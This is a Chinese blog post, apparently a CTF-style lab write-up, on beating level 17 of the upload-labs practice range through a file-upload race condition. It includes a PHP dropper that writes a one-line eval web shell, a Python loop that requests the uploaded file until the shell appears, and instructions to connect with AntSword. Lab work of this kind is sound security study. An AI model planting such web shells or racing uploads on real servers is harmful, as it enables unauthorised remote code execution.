upload-labs靶场pass17关脚本条件竞争

这一关文件传上去会检测这个文件如果是图片类型的文件会改后缀然后回显,不是图片类型的就会删掉。所有要卡着删掉前访问下面这段php代码,这段php代码会生成一个php木马文件在目录下,这个文件不会被检测,也不会被删掉,所以就可以直接用蚁剑连接了

<?php fputs(fopen('123.php','w'),'<?php @eval($_POST["123"])?>');?>

然后就用burp一直循环发送上传这个文件的数据包请求

 然后就是一直访问上传的666.php文件,赶在这个文件被删除前,会有一瞬间访问成功然后就会在上传目录里生成一个132.php的木马文件,然后就直接连接就可以了

接下来就是可以一直请求上传的那个文件的脚本

import requests
url = "http://x.x.x.x/upload/666.php"
while True:
    html = requests.get(url)
    if html.status_code == 600:
        print("OK")
        break

访问成功大概率不会生成木马文件因为在准备生成文件的时候就666.php大概率被删了,所以要无限次的访问666.php直到生成了123.php的木马文件,所以脚本上就设置了一个无法返回的响应600(这里只要不是200,404,502这种会被响应的就可以了)然后就是等待,可以去upload目录下去看,大概一分钟内就会生成123.php,然后用蚁剑连123.php就可以了

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Strelizia_XX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值